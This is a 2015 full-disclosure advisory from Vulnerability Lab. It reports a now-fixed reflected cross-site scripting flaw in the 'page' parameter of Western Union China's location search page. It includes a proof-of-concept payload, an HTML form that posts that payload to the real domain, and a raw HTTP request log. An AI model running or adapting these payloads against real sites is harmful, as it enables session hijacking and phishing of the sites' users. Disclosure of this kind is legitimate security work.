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List: full-disclosure
Subject: [FD] Western Union CN Bug Bounty #6 - Client Side Cross Site Scripting Web Vulnerability
From: Vulnerability Lab <research () vulnerability-lab ! com>
Date: 2015-12-22 14:53:54
Message-ID: 56796402.6060909 () vulnerability-lab ! com
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Document Title:
===============
Western Union CN Bug Bounty #6 - Client Side Cross Site Scripting Web Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1657
Release Date:
=============
2015-12-14
Vulnerability Laboratory ID (VL-ID):
====================================
1658
Common Vulnerability Scoring System:
====================================
3.2
Product & Service Introduction:
===============================
The Western Union Company is an American financial services and communications company. Its \
North American headquarters is in Meridian, Colorado, though the postal designation of nearby \
Englewood is used in its mailing address. Up until it discontinued the service in 2006, Western \
Union was the best-known U.S. company in the business of exchanging telegrams.
(Copy of the Homepage: https://en.wikipedia.org/wiki/Western_Union )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered a client-side cross site scripting \
web vulnerability in the official Western Union China web-application.
Vulnerability Disclosure Timeline:
==================================
25-11-2015 : Reported
25-11-2015 : Report Validate
14-12-2015 : Fixed and Bounty Awarded
Discovery Status:
=================
Published
Affected Product(s):
====================
Western Union Company
Product: Western Union - Web Application (Locations) 2015 Q4
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A POST inject web vulnerability has been discovered in the official Western Union Union online \
service web-application. A vulnerability allows remote attackers to inject malicious script \
codes on the client-side of the affected web-application.
The vulnerability is located in the `page` value of the `location_search.php` file. Remote \
attackers are able to inject own malicious script codes to the client-side of the affected \
web-application. The request method to inject is POST and the attack vector is client-side. \
The attacker inject the payload in the page value to execute the code in the results page of \
the location search module.
The security risk of the client-side web vulnerability is estimated as medium with a cvss \
(common vulnerability scoring system) count of 3.2. Exploitation of the non-persistent web \
vulnerability requires a no privilege web-application user account and low or medium user \
interaction. Successful exploitation results in session hijacking, persistent phishings \
attacks, persistent external redirect and malware loads or persistent manipulation of affected \
or connected module context.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Location Search
Vulnerable Parameter(s):
[+] page
Affected Domain(s):
[+] location_search.php
Proof of Concept (PoC):
=======================
The cross site scripting web vulnerability can be exploited by remote attackers without \
privilege web-application user account or user interaction. For security demonstration or to \
reproduce the vulnerability follow the provided information and steps below to continue.
Affected domain, path & file:
http://www.westernunion.cn/en/location_search.php
PoC Payload:
<--`<img/src=` onerror=alert(document.domain)> --!>
Affected parameter:
page
PoC: html
<html><body>
<form action="http://westernunion.cn/en/location_search.php" method="POST">
<input type="hidden" name="page" value="1<--`<img/src=` onerror=alert(document.domain)> --!>" \
/> <input type="hidden" name="province" value="SHAANXI" />
<input type="hidden" name="city_backup" value="" />
<input type="hidden" name="city" value="SHANGLUO" />
<input type="hidden" name="district" value="" />
<input type="hidden" name="location" value="AGRICULTURAL BANK OF CHINA" />
<input type="hidden" name="payout" value="USD" />
<input type="hidden" name="search_keyword" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
--- PoC HTTP REQUEST Session Logs ---
POST /en/location_search.php HTTP/1.1
Host: westernunion.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: __utma=11880754.2028102378.1448438929.1448438929.1448438929.1; \
__utmb=11880754.9.10.1448438929; \
__utmz=11880754.1448438929.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 198
page=1%3C--%60%3Cimg%2Fsrc%3D%60+onerror%3Dalert%28document.domain%29%3E+--%21%3E&province=SHAANXI&city_backup=&city=SHANGLUO&district=&location=AGRICULTURAL+BAN
Reference(s):
http://www.westernunion.cn/
http://www.westernunion.cn/en/
http://www.westernunion.cn/en/location_search.php
Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability in the chinese \
wester union bank web-application is estimated as medium. (CVSS 3.2)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Milan Solanki [milans812@gmail.com]
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=========================
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